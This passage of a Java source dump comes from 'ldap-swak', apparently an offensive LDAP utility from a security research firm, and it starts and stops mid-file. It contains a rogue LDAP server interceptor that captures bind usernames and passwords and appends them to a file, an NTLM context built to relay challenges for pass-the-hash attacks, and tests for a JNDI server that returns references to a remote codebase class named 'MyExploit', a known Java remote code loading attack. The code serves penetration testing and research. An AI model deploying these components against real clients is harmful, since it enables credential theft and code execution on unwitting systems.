result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 110 | } 111 | } 112 | 113 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 4 | 4.0.0 5 | gs.sy.m8 6 | ldap-swak 7 | 0.0.5-SNAPSHOT 8 | LDAP Swiss Army Knife 9 | 10 | Multi-function LDAP server utility. 11 | 12 | https://github.com/SySS-Research/ldap-swak 13 | 2019 14 | 15 | SySS GmbH 16 | https://www.syss.de/ 17 | 18 | 19 | 20 | 21 | Moritz Bechler 22 | moritz.bechler@syss.de 23 | 24 | 25 | 26 | 27 | 28 | 29 | MIT License 30 | 31 | 32 | 33 | 34 | UTF-8 35 | 1.2.3 36 | 37 | 38 | 39 | 40 | info.picocli 41 | picocli 42 | 3.9.6 43 | 44 | 45 | com.unboundid 46 | unboundid-ldapsdk 47 | 4.0.10 48 | 49 | 50 | org.bouncycastle 51 | bcpkix-jdk15on 52 | 1.61 53 | 54 | 55 | org.slf4j 56 | slf4j-api 57 | 1.7.25 58 | 59 | 60 | ch.qos.logback 61 | logback-core 62 | ${logback.version} 63 | 64 | 65 | ch.qos.logback 66 | logback-classic 67 | ${logback.version} 68 | 69 | 70 | com.google.inject 71 | guice 72 | 4.2.2 73 | 74 | 75 | 76 | eu.agno3.jcifs 77 | jcifs-ng 78 | 2.1.2 79 | 80 | 81 | 82 | 83 | 84 | org.junit.platform 85 | junit-platform-launcher 86 | 1.4.0 87 | test 88 | 89 | 90 | org.junit.jupiter 91 | junit-jupiter 92 | 5.4.0 93 | test 94 | 95 | 96 | org.mockito 97 | mockito-core 98 | 2.24.0 99 | test 100 | 101 | 102 | org.hamcrest 103 | hamcrest 104 | 2.1 105 | test 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | org.apache.maven.plugins 114 | maven-surefire-plugin 115 | 2.22.1 116 | 117 | 118 | org.junit.jupiter 119 | junit-jupiter-engine 120 | 5.4.0 121 | 122 | 123 | 124 | 125 | maven-assembly-plugin 126 | 127 | ${project.artifactId}-${project.version}-all 128 | false 129 | false 130 | 131 | jar-with-dependencies 132 | 133 | 134 | 135 | gs.sy.m8.ldapswak.Main 136 | 137 | 138 | ${project.version} 139 | 140 | 141 | 142 | 143 | 144 | make-assembly 145 | package 146 | 147 | single 148 | 149 | 150 | 151 | 152 | 153 | 3.8.0 154 | maven-compiler-plugin 155 | 156 | 1.8 157 | 1.8 158 | 159 | 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/CredentialsOperationInterceptor.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import java.io.Writer; 5 | import java.nio.charset.StandardCharsets; 6 | import java.nio.file.Files; 7 | import java.nio.file.StandardOpenOption; 8 | import java.util.Base64; 9 | import java.util.LinkedList; 10 | import java.util.List; 11 | 12 | import org.slf4j.Logger; 13 | import org.slf4j.LoggerFactory; 14 | 15 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSASLBindRequest; 16 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSimpleBindRequest; 17 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 18 | import com.unboundid.ldap.sdk.Attribute; 19 | import com.unboundid.ldap.sdk.DN; 20 | import com.unboundid.ldap.sdk.GenericSASLBindRequest; 21 | import com.unboundid.ldap.sdk.LDAPException; 22 | import com.unboundid.ldap.sdk.RDN; 23 | 24 | class CredentialsOperationInterceptor extends InMemoryOperationInterceptor { 25 | 26 | private static Logger log = LoggerFactory.getLogger(CredentialsOperationInterceptor.class); 27 | 28 | private final BaseCommand config; 29 | 30 | final List collected = new LinkedList<>(); 31 | 32 | public CredentialsOperationInterceptor(BaseCommand config) { 33 | this.config = config; 34 | } 35 | 36 | @Override 37 | public void processSASLBindRequest(InMemoryInterceptedSASLBindRequest request) throws LDAPException { 38 | GenericSASLBindRequest r = request.getRequest(); 39 | if ("PLAIN".equalsIgnoreCase(r.getSASLMechanismName())) { 40 | if ( ! handlePlain(request, r)) { 41 | return; 42 | } 43 | } else if ( "NTLM".equalsIgnoreCase(r.getSASLMechanismName())) { 44 | if ( !handleNTLM(request)) { 45 | return; 46 | } 47 | } else { 48 | log.debug("SASL " + r.getBindType() + " bind " + r.getBindDN() + " " 49 | + Base64.getEncoder().encodeToString(r.getCredentials().getValue())); 50 | } 51 | 52 | super.processSASLBindRequest(request); 53 | } 54 | 55 | private boolean handlePlain(InMemoryInterceptedSASLBindRequest request, GenericSASLBindRequest r) 56 | throws LDAPException { 57 | String creds = r.getCredentials().stringValue(); 58 | String authId, authzId, pw; 59 | 60 | int sep = creds.indexOf('\0'); 61 | if (sep < 0) { 62 | log.warn("Unexpected SASL plain credential format"); 63 | super.processSASLBindRequest(request); 64 | return false; 65 | } 66 | 67 | int sep2 = creds.indexOf('\0', sep + 1); 68 | if (sep2 < 0) { 69 | authId = creds.substring(0, sep); 70 | pw = creds.substring(sep + 1); 71 | } else { 72 | authzId = creds.substring(0, sep); 73 | log.debug("SASL authzId {}", authzId); 74 | authId = creds.substring(sep + 1, sep2); 75 | pw = creds.substring(sep2 + 1); 76 | } 77 | 78 | log.debug("SASL PLAIN {}:{}", authId, pw); 79 | handleCreds(authId, pw); 80 | return true; 81 | } 82 | 83 | private boolean handleNTLM(InMemoryInterceptedSASLBindRequest request) { 84 | byte[] v = request.getRequest().getCredentials().getValue(); 85 | log.debug("SASL NTLM " + v.length); 86 | return false; 87 | } 88 | 89 | @Override 90 | public void processSimpleBindRequest(InMemoryInterceptedSimpleBindRequest request) throws LDAPException { 91 | String bindDn = request.getRequest().getBindDN(); 92 | String pw = request.getRequest().getPassword().stringValue(); 93 | if (bindDn.isEmpty() && pw.isEmpty()) { 94 | log.debug("Anonymous bind"); 95 | } else { 96 | log.debug("Simple bind {} pw '{}'", bindDn, pw); 97 | handleCreds(extractUid(this.config, bindDn), pw); 98 | super.processSimpleBindRequest(request); 99 | } 100 | } 101 | 102 | private String extractUid(BaseCommand config, String bindDN) { 103 | try { 104 | DN dn = new DN(bindDN); 105 | for (RDN rdn : dn.getRDNs()) { 106 | for (String uidAttr : config.uidAttrs) { 107 | if (rdn.hasAttribute(uidAttr)) { 108 | return fetchAttribute(uidAttr, rdn); 109 | } 110 | } 111 | } 112 | } catch (Exception e) { 113 | log.debug("Failed to process Bind DN " + bindDN, e); 114 | } 115 | 116 | return bindDN; 117 | } 118 | 119 | private String fetchAttribute(String string, RDN rdn) { 120 | for (Attribute attr : rdn.getAttributes()) { 121 | if (string.equals(attr.getBaseName())) { 122 | return attr.getValue(); 123 | } 124 | } 125 | return null; 126 | } 127 | 128 | private void handleCreds(String user, String pw) { 129 | log.info("Intercepted credentials {}:{}", user, pw); 130 | 131 | this.collected.add(new String[] { user, pw }); 132 | 133 | if (config.writeCreds != null) { 134 | try (Writer wr = Files.newBufferedWriter(config.writeCreds, StandardCharsets.UTF_8, 135 | StandardOpenOption.APPEND)) { 136 | wr.write(String.format("%s %s\n", user, pw)); 137 | } catch (IOException e) { 138 | log.error("Failed to write credential file", e); 139 | } 140 | 141 | } 142 | } 143 | 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/PassTheHashNtlmContext.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import org.bouncycastle.asn1.ASN1ObjectIdentifier; 5 | import org.slf4j.Logger; 6 | import org.slf4j.LoggerFactory; 7 | 8 | import jcifs.CIFSException; 9 | import jcifs.ntlmssp.Type2Message; 10 | import jcifs.ntlmssp.Type3Message; 11 | import jcifs.smb.NtlmContext; 12 | import jcifs.smb.SSPContext; 13 | import jcifs.spnego.NegTokenInit; 14 | import jcifs.spnego.NegTokenTarg; 15 | import jcifs.spnego.SpnegoException; 16 | import jcifs.spnego.SpnegoToken; 17 | 18 | public class PassTheHashNtlmContext implements SSPContext { 19 | 20 | private static final Logger log = LoggerFactory.getLogger(PassTheHashNtlmContext.class); 21 | 22 | private boolean finished; 23 | private final byte[] initialToken; 24 | 25 | private volatile Type2Message type2Message; 26 | private volatile Type3Message type3Message; 27 | 28 | private volatile boolean failed; 29 | 30 | public PassTheHashNtlmContext(byte[] initialToken) { 31 | this.initialToken = initialToken; 32 | } 33 | 34 | @Override 35 | public boolean isEstablished() { 36 | return this.finished; 37 | } 38 | 39 | public Type2Message waitForType2(long timeout) throws InterruptedException { 40 | long to = System.currentTimeMillis() + timeout; 41 | 42 | while (this.type2Message == null && System.currentTimeMillis() < to && !this.failed) { 43 | synchronized (this) { 44 | wait(timeout); 45 | } 46 | } 47 | return this.type2Message; 48 | } 49 | 50 | 51 | public void fail() { 52 | this.failed = true; 53 | synchronized (this) { 54 | notifyAll(); 55 | } 56 | } 57 | 58 | public void setType3(Type3Message t) { 59 | this.type3Message = t; 60 | synchronized (this) { 61 | notifyAll(); 62 | } 63 | } 64 | 65 | @Override 66 | public byte[] initSecContext(byte[] token, int off, int len) throws CIFSException { 67 | try { 68 | Object o = getToken(token); 69 | 70 | if (o instanceof NegTokenInit) { 71 | NegTokenInit tok = (NegTokenInit) o; 72 | 73 | int foundAt = -1; 74 | int i = 0; 75 | 76 | for (ASN1ObjectIdentifier oid : tok.getMechanisms()) { 77 | if (NtlmContext.NTLMSSP_OID.equals(oid)) { 78 | foundAt = i; 79 | break; 80 | } 81 | i++; 82 | } 83 | 84 | if (foundAt < 0) { 85 | // server does not support NTLM 86 | log.warn("Server does not support NTLM"); 87 | this.finished = true; 88 | return new byte[0]; 89 | } else if (foundAt == 0 && tok.getMechanismToken() != null) { 90 | // NTLM is the initial mech, send token now 91 | return handleType2(new Type2Message(tok.getMechanismToken())); 92 | } 93 | 94 | return new NegTokenInit(new ASN1ObjectIdentifier[] { NtlmContext.NTLMSSP_OID }, 0, initialToken, null) 95 | .toByteArray(); 96 | } else if (o instanceof NegTokenTarg) { 97 | NegTokenTarg tok = (NegTokenTarg) o; 98 | if (!NtlmContext.NTLMSSP_OID.equals(tok.getMechanism())) { 99 | log.warn("Server chose something else"); 100 | this.finished = true; 101 | return new byte[0]; 102 | } 103 | return handleType2(new Type2Message(tok.getMechanismToken())); 104 | } else { 105 | log.warn("Unexpected message"); 106 | } 107 | } catch (Exception e) { 108 | log.warn("Failed to parse server challenge as SPNEGO", e); 109 | } 110 | this.finished = true; 111 | return new byte[0]; 112 | } 113 | 114 | private byte[] handleType2(Type2Message t2) throws InterruptedException, IOException { 115 | this.type2Message = t2; 116 | synchronized (this) { 117 | notifyAll(); 118 | } 119 | 120 | while (this.type3Message == null) { 121 | synchronized (this) { 122 | this.wait(); 123 | } 124 | } 125 | 126 | this.finished = true; 127 | return new NegTokenTarg(NegTokenTarg.UNSPECIFIED_RESULT, null, this.type3Message.toByteArray(), 128 | null).toByteArray(); 129 | } 130 | 131 | private static SpnegoToken getToken(byte[] token) throws SpnegoException { 132 | SpnegoToken spnegoToken = null; 133 | try { 134 | switch (token[0]) { 135 | case (byte) 0x60: 136 | spnegoToken = new NegTokenInit(token); 137 | break; 138 | case (byte) 0xa1: 139 | spnegoToken = new NegTokenTarg(token); 140 | break; 141 | default: 142 | throw new SpnegoException("Invalid token type"); 143 | } 144 | return spnegoToken; 145 | } catch (IOException e) { 146 | throw new SpnegoException("Invalid token"); 147 | } 148 | } 149 | 150 | @Override 151 | public String getNetbiosName() { 152 | return null; 153 | } 154 | 155 | @Override 156 | public void dispose() throws CIFSException { 157 | } 158 | 159 | @Override 160 | public boolean isSupported(ASN1ObjectIdentifier mechanism) { 161 | return true; 162 | } 163 | 164 | @Override 165 | public boolean isPreferredMech(ASN1ObjectIdentifier selectedMech) { 166 | return true; 167 | } 168 | 169 | @Override 170 | public int getFlags() { 171 | return 0; 172 | } 173 | 174 | @Override 175 | public byte[] getSigningKey() throws CIFSException { 176 | return null; 177 | } 178 | 179 | @Override 180 | public ASN1ObjectIdentifier[] getSupportedMechs() { 181 | return new ASN1ObjectIdentifier[0]; 182 | } 183 | 184 | @Override 185 | public boolean supportsIntegrity() { 186 | return false; 187 | } 188 | 189 | @Override 190 | public byte[] calculateMIC(byte[] data) throws CIFSException { 191 | return null; 192 | } 193 | 194 | @Override 195 | public void verifyMIC(byte[] data, byte[] mic) throws CIFSException { 196 | } 197 | 198 | @Override 199 | public boolean isMICAvailable() { 200 | return false; 201 | } 202 | 203 | public String getUsername() { 204 | if ( this.type3Message != null ) { 205 | return this.type3Message.getUser(); 206 | } 207 | return null; 208 | } 209 | 210 | } 211 | -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/SSLContextProviderTest.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import static org.junit.jupiter.api.Assertions.*; 4 | import static org.hamcrest.CoreMatchers.*; 5 | import static org.hamcrest.MatcherAssert.assertThat; 6 | 7 | import java.math.BigInteger; 8 | import java.nio.file.Paths; 9 | import java.security.KeyStore; 10 | import java.security.KeyStoreException; 11 | import java.security.cert.Certificate; 12 | import java.security.cert.X509Certificate; 13 | import java.security.interfaces.RSAPublicKey; 14 | import java.time.LocalDateTime; 15 | import java.time.ZoneOffset; 16 | import java.util.Arrays; 17 | import java.util.Collection; 18 | import java.util.Date; 19 | import java.util.List; 20 | 21 | 22 | import org.hamcrest.collection.IsCollectionWithSize; 23 | import org.hamcrest.core.IsIterableContaining; 24 | import org.junit.jupiter.api.Test; 25 | 26 | class SSLContextProviderTest { 27 | 28 | @Test 29 | void testKeystoreGenernate() throws Exception { 30 | BaseCommand c = basicConfig(); 31 | X509Certificate x509 = getCertificate(c); 32 | assertThat(x509.getPublicKey(), instanceOf(RSAPublicKey.class)); 33 | RSAPublicKey rsa = (RSAPublicKey) x509.getPublicKey(); 34 | 35 | assertThat(rsa.getModulus().bitLength(), is(equalTo(2048))); 36 | assertEquals("CN=testCert", x509.getSubjectX500Principal().getName()); 37 | assertEquals(c.fakeCertSigalg.name(), x509.getSigAlgName()); 38 | 39 | x509.checkValidity(); 40 | } 41 | 42 | private X509Certificate getCertificate(BaseCommand c) throws Exception, KeyStoreException { 43 | KeyStore ks = new SSLContextProvider().getKeystore(c); 44 | String first = ks.aliases().nextElement(); 45 | Certificate cert = ks.getCertificate(first); 46 | assertThat(cert, instanceOf(X509Certificate.class)); 47 | return (X509Certificate) cert; 48 | } 49 | 50 | @Test 51 | void testKeystoreGenernateSAN() throws Exception { 52 | BaseCommand c = basicConfig(); 53 | c.fakeCertSANs = new String[] { "dns1", "dns:dns2", "ip:127.0.0.1" }; 54 | X509Certificate x509 = getCertificate(c); 55 | 56 | byte[] ext = x509.getExtensionValue("2.5.29.17"); 57 | assertNotNull(ext); 58 | 59 | Collection> sans = x509.getSubjectAlternativeNames(); 60 | assertThat(sans, IsCollectionWithSize.hasSize(c.fakeCertSANs.length)); 61 | assertThat(sans, IsIterableContaining.hasItem(equalTo(Arrays.asList(2, "dns1")))); 62 | assertThat(sans, IsIterableContaining.hasItem(equalTo(Arrays.asList(2, "dns2")))); 63 | assertThat(sans, IsIterableContaining.hasItem(equalTo(Arrays.asList(7, "127.0.0.1")))); 64 | } 65 | 66 | 67 | @Test 68 | void testKeystoreGenerateSigalg() throws Exception { 69 | BaseCommand c = basicConfig(); 70 | c.fakeCertSigalg = SigAlg.MD5withRSA; 71 | X509Certificate x509 = getCertificate(c); 72 | assertEquals(c.fakeCertSigalg.name(), x509.getSigAlgName()); 73 | } 74 | 75 | 76 | @Test 77 | void testKeystoreGenerateValidity() throws Exception { 78 | BaseCommand c = basicConfig(); 79 | 80 | c.fakeCertValidFrom = LocalDateTime.of(2018, 11, 1, 12, 0); 81 | c.fakeCertValidTo = LocalDateTime.of(2018, 11, 15, 12, 0); 82 | 83 | X509Certificate x509 = getCertificate(c); 84 | 85 | Date notBefore = x509.getNotBefore(); 86 | Date notAfter = x509.getNotAfter(); 87 | 88 | assertEquals(Date.from(c.fakeCertValidFrom.toInstant(ZoneOffset.UTC)), notBefore); 89 | assertEquals(Date.from(c.fakeCertValidTo.toInstant(ZoneOffset.UTC)), notAfter); 90 | } 91 | 92 | @Test 93 | void testLoadJKS() throws Exception { 94 | BaseCommand c = basicConfig(); 95 | c.keystorePass = "changeit"; 96 | c.keystoreType = KeyStoreType.JKS; 97 | 98 | String r = getClass().getResource("/test.jks").getFile(); 99 | assertNotNull(r); 100 | c.keystore = Paths.get(r); 101 | X509Certificate cert = getCertificate(c); 102 | assertEquals(new BigInteger("135e84e0", 16), cert.getSerialNumber()); 103 | assertEquals("CN=Tester,OU=Test,O=Test,L=Test,ST=Test,C=DE", 104 | cert.getSubjectX500Principal().getName()); 105 | } 106 | 107 | @Test 108 | void testLoadP12() throws Exception { 109 | BaseCommand c = basicConfig(); 110 | c.keystorePass = "testing"; 111 | c.keystoreType = KeyStoreType.PKCS12; 112 | 113 | String r = getClass().getResource("/test.p12").getFile(); 114 | assertNotNull(r); 115 | c.keystore = Paths.get(r); 116 | X509Certificate cert = getCertificate(c); 117 | assertEquals(new BigInteger("3e8e4f87", 16), cert.getSerialNumber()); 118 | assertEquals("CN=P12Test,OU=Unknown,O=Unknown,L=Unknown,ST=Unknown,C=Unknown", 119 | cert.getSubjectX500Principal().getName()); 120 | } 121 | 122 | @Test 123 | void testLoadPEM() throws Exception { 124 | String pk = getClass().getResource("/test.key").getFile(); 125 | assertNotNull(pk); 126 | 127 | String cr = getClass().getResource("/test.crt").getFile(); 128 | assertNotNull(cr); 129 | 130 | BaseCommand c = basicConfig(); 131 | c.privateKey = Paths.get(pk); 132 | c.certificate = Paths.get(cr); 133 | 134 | 135 | X509Certificate cert = getCertificate(c); 136 | assertEquals(new BigInteger("e527e64e1b665694", 16), cert.getSerialNumber()); 137 | assertEquals("CN=test", 138 | cert.getSubjectX500Principal().getName()); 139 | } 140 | 141 | 142 | @Test 143 | void testLoadPEMCombined() throws Exception { 144 | String pk = getClass().getResource("/test-combined.pem").getFile(); 145 | assertNotNull(pk); 146 | 147 | BaseCommand c = basicConfig(); 148 | c.privateKey = Paths.get(pk); 149 | 150 | X509Certificate cert = getCertificate(c); 151 | assertEquals(new BigInteger("e527e64e1b665694", 16), cert.getSerialNumber()); 152 | assertEquals("CN=test", 153 | cert.getSubjectX500Principal().getName()); 154 | } 155 | 156 | 157 | private BaseCommand basicConfig() { 158 | BaseCommand c = new MainCommand(); 159 | c.fakeCertBitsize = 2048; 160 | c.fakeCertSigalg = SigAlg.SHA256withRSA; 161 | c.fakeCertCN = "cn=testCert"; 162 | c.fakeCertLifetime = 5; 163 | c.keystorePass = "changeit"; 164 | 165 | return c; 166 | } 167 | 168 | } 169 | -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/FakeServerTest.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import static org.junit.jupiter.api.Assertions.*; 4 | import static org.hamcrest.CoreMatchers.*; 5 | import static org.hamcrest.MatcherAssert.assertThat; 6 | 7 | import java.nio.charset.StandardCharsets; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | import java.nio.file.Paths; 11 | import java.security.SecureRandom; 12 | import java.util.List; 13 | 14 | import javax.net.ssl.KeyManager; 15 | import javax.net.ssl.SSLContext; 16 | import javax.net.ssl.SSLSocketFactory; 17 | import javax.net.ssl.TrustManager; 18 | 19 | import org.hamcrest.collection.IsCollectionWithSize; 20 | import org.hamcrest.core.IsIterableContaining; 21 | import org.junit.jupiter.api.Test; 22 | 23 | import com.unboundid.ldap.sdk.Attribute; 24 | import com.unboundid.ldap.sdk.LDAPConnection; 25 | import com.unboundid.ldap.sdk.LDAPConnectionOptions; 26 | import com.unboundid.ldap.sdk.LDAPConnectionPool; 27 | import com.unboundid.ldap.sdk.LDAPException; 28 | import com.unboundid.ldap.sdk.ResultCode; 29 | import com.unboundid.ldap.sdk.SearchResultEntry; 30 | import com.unboundid.ldap.sdk.StartTLSPostConnectProcessor; 31 | 32 | class FakeServerTest extends BaseServerTest { 33 | 34 | @Test 35 | void testConnection() throws Exception { 36 | ServerThread st = new ServerThread<>(createServerBase()); 37 | try { 38 | st.waitStart(); 39 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 40 | lc.getRootDSE(); 41 | 42 | } 43 | } finally { 44 | st.shutdown(); 45 | } 46 | } 47 | 48 | @Test 49 | void testConnectionSSL() throws Exception { 50 | FakeServer c = createServerBase(); 51 | c.ssl = true; 52 | 53 | SSLContext ctx = SSLContext.getInstance("TLSv1.2"); 54 | ctx.init(new KeyManager[] {}, new TrustManager[] { new AllowAllTrustManager() }, new SecureRandom()); 55 | 56 | SSLSocketFactory sf = ctx.getSocketFactory(); 57 | ServerThread st = new ServerThread<>(c); 58 | try { 59 | st.waitStart(); 60 | try (LDAPConnection lc = new LDAPConnection(sf, LOCALHOST.getHostAddress(), st.command.port)) { 61 | lc.getRootDSE(); 62 | } 63 | 64 | } finally { 65 | st.shutdown(); 66 | } 67 | } 68 | 69 | @Test 70 | void testConnectionStartTLS() throws Exception { 71 | SSLContext ctx = SSLContext.getInstance("TLSv1.2"); 72 | ctx.init(new KeyManager[] {}, new TrustManager[] { new AllowAllTrustManager() }, new SecureRandom()); 73 | ServerThread st = new ServerThread<>(createServerBase()); 74 | try { 75 | st.waitStart(); 76 | 77 | LDAPConnectionOptions opt = new LDAPConnectionOptions(); 78 | 79 | StartTLSPostConnectProcessor starttls = new StartTLSPostConnectProcessor(ctx); 80 | 81 | try (LDAPConnection lc = new LDAPConnection(opt, LOCALHOST.getHostAddress(), st.command.port); 82 | LDAPConnectionPool p = new LDAPConnectionPool(lc, 1, 2, starttls)) { 83 | 84 | p.getRootDSE(); 85 | } 86 | 87 | } finally { 88 | st.shutdown(); 89 | } 90 | } 91 | 92 | @Test 93 | void testBindDisallowed() throws Exception { 94 | ServerThread st = new ServerThread<>(createServerBase()); 95 | try { 96 | st.waitStart(); 97 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 98 | lc.bind("cn=test", "test"); 99 | 100 | } catch (LDAPException e) { 101 | if (e.getResultCode() != ResultCode.INVALID_CREDENTIALS) { 102 | throw e; 103 | } 104 | } 105 | assertThat(st.command.creds.collected, 106 | IsIterableContaining.hasItem(equalTo(new String[] { "cn=test", "test" }))); 107 | } finally { 108 | st.shutdown(); 109 | } 110 | } 111 | 112 | @Test 113 | void testBindAllowed() throws Exception { 114 | FakeServer c = createServerBase(); 115 | c.acceptUser = "cn=test"; 116 | c.acceptPass = "test"; 117 | ServerThread st = new ServerThread<>(c); 118 | try { 119 | st.waitStart(); 120 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 121 | lc.bind("cn=test", "test"); 122 | } 123 | assertThat(st.command.creds.collected, 124 | IsIterableContaining.hasItem(equalTo(new String[] { "cn=test", "test" }))); 125 | } finally { 126 | st.shutdown(); 127 | } 128 | } 129 | 130 | @Test 131 | void testExtractUser() throws Exception { 132 | FakeServer c = createServerBase(); 133 | String dn = "uid=foobar"; 134 | c.uidAttrs = new String[] { "uid" }; 135 | c.acceptUser = dn; 136 | c.acceptPass = "test"; 137 | ServerThread st = new ServerThread<>(c); 138 | try { 139 | st.waitStart(); 140 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 141 | lc.bind(dn, "test"); 142 | } 143 | assertThat(st.command.creds.collected, 144 | IsIterableContaining.hasItem(equalTo(new String[] { "foobar", "test" }))); 145 | } finally { 146 | st.shutdown(); 147 | } 148 | } 149 | 150 | @Test 151 | void testLoadData() throws Exception { 152 | String data = getClass().getResource("/test-add.ldif").getFile(); 153 | assertNotNull(data); 154 | FakeServer c = createServerBase(); 155 | c.baseDN = new String[] { "dc=test" }; 156 | c.load = new Path[] { Paths.get(data) }; 157 | ServerThread st = new ServerThread<>(c); 158 | try { 159 | st.waitStart(); 160 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 161 | SearchResultEntry sre = lc.getEntry("cn=foo,dc=test"); 162 | Attribute a = sre.getAttribute("sn"); 163 | assertNotNull(a); 164 | assertEquals("Test", a.getValue()); 165 | } 166 | } finally { 167 | st.shutdown(); 168 | } 169 | } 170 | 171 | @Test 172 | void testWriteCreds() throws Exception { 173 | Path t = Files.createTempFile("pw", ".list"); 174 | try { 175 | FakeServer c = createServerBase(); 176 | String dn = "uid=foobar"; 177 | c.uidAttrs = new String[] { "uid" }; 178 | c.acceptUser = dn; 179 | c.acceptPass = "test"; 180 | c.writeCreds = t; 181 | ServerThread st = new ServerThread<>(c); 182 | try { 183 | st.waitStart(); 184 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 185 | lc.bind(dn, "test"); 186 | } 187 | } finally { 188 | st.shutdown(); 189 | } 190 | 191 | List lines = Files.readAllLines(t, StandardCharsets.UTF_8); 192 | 193 | assertThat(lines, IsCollectionWithSize.hasSize(1)); 194 | assertThat(lines, IsIterableContaining.hasItem("foobar test")); 195 | } finally { 196 | Files.deleteIfExists(t); 197 | } 198 | } 199 | 200 | } 201 | -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/JNDIServerTest.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import static org.junit.jupiter.api.Assertions.*; 4 | import static org.hamcrest.MatcherAssert.assertThat; 5 | 6 | import java.io.File; 7 | import java.io.ObjectOutputStream; 8 | import java.io.OutputStream; 9 | import java.net.URL; 10 | import java.nio.file.Files; 11 | import java.nio.file.Path; 12 | import java.nio.file.StandardOpenOption; 13 | import java.util.Hashtable; 14 | import java.util.Random; 15 | 16 | import javax.naming.Context; 17 | import javax.naming.InitialContext; 18 | import javax.naming.Reference; 19 | import javax.naming.directory.DirContext; 20 | import javax.naming.directory.InitialDirContext; 21 | import javax.naming.ldap.LdapReferralException; 22 | 23 | import org.hamcrest.collection.ArrayMatching; 24 | import org.hamcrest.core.IsInstanceOf; 25 | import org.junit.jupiter.api.Test; 26 | 27 | import com.unboundid.ldap.sdk.LDAPConnection; 28 | import com.unboundid.ldap.sdk.LDAPException; 29 | import com.unboundid.ldap.sdk.ResultCode; 30 | import com.unboundid.ldap.sdk.SearchResult; 31 | import com.unboundid.ldap.sdk.SearchResultEntry; 32 | import com.unboundid.ldap.sdk.SearchResultReference; 33 | 34 | public class JNDIServerTest extends BaseServerTest { 35 | 36 | @Test 37 | public void testReferral() throws Exception { 38 | JNDIServer c = createJNDIBase(); 39 | c.referral = "ldap://test"; 40 | ServerThread st = new ServerThread<>(c); 41 | try { 42 | st.waitStart(); 43 | 44 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 45 | try { 46 | lc.getEntry(c.baseDN[0]); 47 | } catch (LDAPException e) { 48 | if (e.getResultCode() != ResultCode.REFERRAL) { 49 | throw e; 50 | } 51 | 52 | if (e.getReferralURLs().length > 0) { 53 | assertEquals(c.referral, e.getReferralURLs()[0]); 54 | } else { 55 | 56 | SearchResult r = (SearchResult) e.toLDAPResult(); 57 | assertEquals(1, r.getReferenceCount()); 58 | SearchResultReference ref = r.getSearchReferences().get(0); 59 | assertThat(ref.getReferralURLs(), ArrayMatching.hasItemInArray(c.referral)); 60 | } 61 | } 62 | } 63 | } finally { 64 | st.shutdown(); 65 | } 66 | } 67 | 68 | @Test 69 | public void testJNDIReferral() throws Exception { 70 | JNDIServer c = createJNDIBase(); 71 | c.referral = "rmi://test/bar"; 72 | ServerThread st = new ServerThread<>(c); 73 | try { 74 | st.waitStart(); 75 | 76 | Hashtable env = new Hashtable<>(); 77 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); 78 | env.put(Context.PROVIDER_URL, String.format("ldap://%s:%d", c.bind.getHostAddress(), c.port)); 79 | env.put(Context.REFERRAL, "throw"); 80 | 81 | InitialDirContext ctx = new InitialDirContext(env); 82 | try { 83 | try { 84 | ctx.lookup("cn=test"); 85 | } catch (LdapReferralException e) { 86 | assertEquals(c.referral, e.getReferralInfo()); 87 | } 88 | } finally { 89 | ctx.close(); 90 | } 91 | 92 | } finally { 93 | st.shutdown(); 94 | } 95 | } 96 | 97 | 98 | @Test 99 | public void testReference() throws Exception { 100 | JNDIServer c = createJNDIBase(); 101 | c.refCodebase = new URL("http://localhost:12345/test/"); 102 | c.refClass = "MyExploit"; 103 | ServerThread st = new ServerThread<>(c); 104 | try { 105 | st.waitStart(); 106 | 107 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 108 | SearchResultEntry sre = lc.getEntry(c.baseDN[0]); 109 | 110 | assertThat(sre.getObjectClassValues(), ArrayMatching.hasItemInArray("javaNamingReference")); 111 | 112 | assertEquals(c.refCodebase, new URL(sre.getAttributeValue("javaCodeBase"))); 113 | assertEquals(c.refClass, sre.getAttributeValue("javaFactory")); 114 | } 115 | } finally { 116 | st.shutdown(); 117 | } 118 | } 119 | 120 | @Test 121 | public void testJNDIReference() throws Exception { 122 | JNDIServer c = createJNDIBase(); 123 | c.refCodebase = new URL("http://localhost:12345/test/"); 124 | c.refClass = "MyExploit"; 125 | ServerThread st = new ServerThread<>(c); 126 | try { 127 | st.waitStart(); 128 | 129 | DirContext ctx = InitialContext.doLookup(String.format("ldap://%s:%d", c.bind.getHostAddress(), c.port)); 130 | 131 | try { 132 | Object o = ctx.lookup("cn=test"); 133 | assertThat(o, IsInstanceOf.instanceOf(Reference.class)); 134 | 135 | Reference r = 